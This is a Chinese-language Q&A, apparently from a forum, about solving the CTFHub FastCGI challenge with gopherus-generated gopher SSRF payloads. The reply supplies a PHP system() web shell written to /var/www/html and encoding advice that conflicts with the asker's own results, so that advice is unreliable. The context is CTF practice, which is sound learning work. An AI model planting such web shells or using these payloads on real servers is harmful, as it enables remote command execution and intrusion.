在做ctfhub的fastcgi题目时,看了很多百度的解题记录,但是我按照他们的方法来做时,却遇到很多问题。
问题一:使用gopherus工具的一句话木马要怎么写?
我看了有一篇文章是这么写的
echo "<?php \$_POST['c']; ?>" > 1.php
但是我按照这么写burp发包无回显,蚁剑连接也无用,可能是问题二导致的原因。还有一句话木马需要放置到/var/www/html/下吗?
问题二:gopher的url编码问题。
gopher://127.0.0.1:9000/_%01%01%
使用gopherus得到的gopher payload需要再经过一次编码,有些文章说需要编码下划线后面的部分,有些文章又全部编码,之前的ctfhub的题目我全部编码了也没问题,但是这一道fastcgi的题我全部编码不行,只编码下划线后面的部分才有回显,那么到底是全部编码还是只编码下划线后面的部分呢?还有我想问一下gopherus给出的payload进行二次url编码时需要将%0A替换成%0d%0A吗?
问题一:在使用gopherus生成一句话木马时,你可以尝试使用类似下面的代码:
echo "<?php system(\$_GET['c']); ?>" > /var/www/html/shell.php
这样就可以把自己的一句话木马上传到指定的目录下。注意要使用system
函数来执行你需要执行的命令。
问题二:关于url编码的问题,gopherus在生成payload时已经对下划线做了编码,不需要再次编码。因此,你只需要把整个payload进行一次url编码即可。
另外,对于%0A
的问题,有些情况下需要将其替换为%0D%0A
,这取决于使用的工具和目标主机的系统环境等因素。你可以在使用的工具中找到相应设置,或者尝试手动编码来解决该问题。